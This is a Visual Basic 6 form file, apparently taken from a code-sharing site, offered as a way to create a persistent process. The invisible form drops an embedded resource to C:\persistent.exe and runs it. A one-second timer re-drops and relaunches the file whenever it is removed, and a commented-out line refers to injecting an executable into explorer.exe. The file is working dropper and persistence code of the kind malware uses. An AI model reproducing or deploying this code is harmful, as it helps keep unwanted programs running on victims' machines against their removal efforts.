form2.frm
来自「Create a Persistance Process in VB 6.0 t」· FRM 代码 · 共 53 行
FRM
53 行
VERSION 5.00
Begin VB.Form Form1
Caption = "Form1"
ClientHeight = 975
ClientLeft = 60
ClientTop = 450
ClientWidth = 1665
LinkTopic = "Form1"
ScaleHeight = 975
ScaleWidth = 1665
StartUpPosition = 3 'Windows-Standard
Visible = 0 'False
Begin VB.Timer Timer1
Interval = 1000
Left = 0
Top = 0
End
End
Attribute VB_Name = "Form1"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Dim dateisache() As Byte
Dim dateiinhalt As String
Dim meinedaten As String
Private Sub Form_Load()
dateisache() = LoadResData(101, "Custom")
dateiinhalt = StrConv(dateisache, vbUnicode)
'InjectExe Environ("windir") & "\explorer.exe", StrConv(meinedaten, vbFromUnicode)
If Dir("C:\persistent.exe") = "" Then
Open "C:\persistent.exe" For Binary As #1
Put #1, , dateiinhalt
Close #1
Shell "C:\persistent.exe"
Else
Timer1.Enabled = True
End If
End Sub
Private Sub Timer1_Timer()
If Dir("C:\persistent.exe") = "" Then
Open "C:\persistent.exe" For Binary As #1
Put #1, , dateiinhalt
Close #1
Shell "C:\persistent.exe"
Else
Timer1.Enabled = True
End If
End Sub
⌨️ 快捷键说明
复制代码Ctrl + C
搜索代码Ctrl + F
全屏模式F11
增大字号Ctrl + =
减小字号Ctrl + -
显示快捷键?